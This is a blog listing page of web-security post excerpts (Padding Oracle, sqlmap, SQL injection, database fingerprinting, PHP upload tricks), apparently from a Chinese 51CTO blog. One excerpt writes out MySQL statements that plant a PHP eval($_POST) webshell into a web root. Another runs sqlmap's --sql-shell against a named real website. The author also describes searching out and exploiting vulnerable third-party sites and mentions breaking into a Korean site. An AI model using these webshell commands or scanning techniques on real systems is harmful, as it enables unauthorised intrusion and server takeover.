赵小布的博客_ WEB安全

Padding Oracle小试成功

去年ASP.NET爆出了MS10-070漏洞，也就是俗称的Padding Oracle，一直想找个网站试下，利用google搜索关键字WebResource.axd，找有此漏洞的网站，一直没有成功，今天换了关键字，成功利用此漏洞！利用的是GDSSECURITY的一款工具，虽然漏洞是利用成功了，对造成此漏洞的详细原因也了解，但对这款漏洞利用工具为什么这么用却是一头雾水，也曾经和大牛81S

Oracle

职场

休闲

Padding

原创 2011-09-06 19:08:05 3006 阅读 1点赞 1评论

浅析padding oracle

Padding Oracle Attack，被誉为2010十大WEB攻击之首，但从字面上看，大家很容易误解，其实和Oracle数据库一点关系都没有，这里的Oracle是提示的意思，硬翻译过来，就是填充提示攻击，产生这个问题的原因，推荐大家去看《Automated Padding Oracle Attacks with PadBuster》这篇文章，有人翻译了下，但翻译的不完整，推荐大家去看英文版的

Oracle

职场

休闲

Attack

Padding

原创 2011-07-19 13:14:02 1663 阅读

reDuh

sensepost reDuh author Haroon Meer, Marco Slaviero, Glenn Wilkonson (reDuhClient && JSP), Gert Burger (PHP), Ian de Villiers (ASPX) cost Free license, version, release, recent changes

职场

休闲

reDuh

转载精选 2010-12-28 09:16:30 1038 阅读

各种数据库类型的判断

作者赵小布 select count(*) from sysobjects //Microsoft SQL Server数据库的系统表，默认WEB环境下，用户有访问权限； select count(*) from msysobjects //Microsoft Access数据库的系统表，默认WEB环境下，用户没有访问权限； select count

职场

数据库

休闲

原创 2010-10-18 13:21:58 753 阅读

通过mysql写入一句话木马

作者赵小布 use mysql; create table a (cmd text NOT NULL); insert into a (cmd) values(‘<?php eval($_POST[cmd];?>’); select cmd from a into outfile ‘/var/www/mm.php&rsq

职场

mysql

数据库

休闲

原创 2010-10-18 13:20:42 7000 阅读

各种数据库支持的注释

作者赵小布 Microsoft Access支持“null”和“%00”注释； Microsoft SQL Server支持“--”和“；”注释； MySQL支持“/*”注释； Oracle支持“--”注释；

职场

休闲

数据库注释

原创 2010-10-18 13:18:57 625 阅读

php特殊上传

信息来源：邪恶八进制信息安全团队（www.eviloctal.com）很久不写东西了，写个linux系统web到root的入侵笔记吧，简单来说过程没什么技术含量，看了可以为大提供一个不常用的上传思路，和新的linux本地权限提升漏洞的使用方法，以及介绍一款rootkit 。这事起因是有个朋友要K一个棒子（韩国）站，死活搞不定，就来骚扰我了，我现在是不怎么喜欢搞站的，偶尔搞搞也是搞

php

职场

休闲

转载 2010-10-12 14:30:36 959 阅读

五大著名免费SQL注入漏洞扫描工具

一、SQLIer 　　SQLIer可以找到网站上一个有SQL注入漏洞的URL，并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。通过这种方法，它可以生成一个UNION SELECT查询，进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号，这意味着它可适应多种网站。　　SQLIer通过“true/false”SQL注入漏洞强力口令。借助于“true/false” SQ

SQL

工具

漏洞

数据库

休闲

转载精选 2010-05-28 10:51:56 2438 阅读

sqlmap使用说明

更新svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-devsqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句 sqlmap.py -u "http://www.isla

职场

数据库

休闲

sqlmap

转载精选 2010-05-18 23:08:41 999 阅读

PHP 中使用命令行工具在 Web 应用程序中运行 shell 命令

学习如何更好地集成脚本和命令行工具。本文考察如何使用 shell_exec()、exec()、passthru() 和 system()；安全地将信息传递到命令行；以及安全地从命令行获取信息。如果您使用过 PHP，您就会发现它是创建特性丰富的 Web 页面的出色工具。作为一大脚本语言，PHP：容易学习。有许多强大的框架（比如 CakePHP 和 CodeIgniter），让您能够

命令

PHP

Web

应用程序

shell

转载精选 2010-05-15 19:35:40 5033 阅读 1点赞

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

赵小布的博客

Padding Oracle小试成功

浅析padding oracle

reDuh

各种数据库类型的判断

通过mysql写入一句话木马

各种数据库支持的注释

php特殊上传

五大著名免费SQL注入漏洞扫描工具

sqlmap使用说明

PHP 中使用命令行工具在 Web 应用程序中运行 shell 命令

欢迎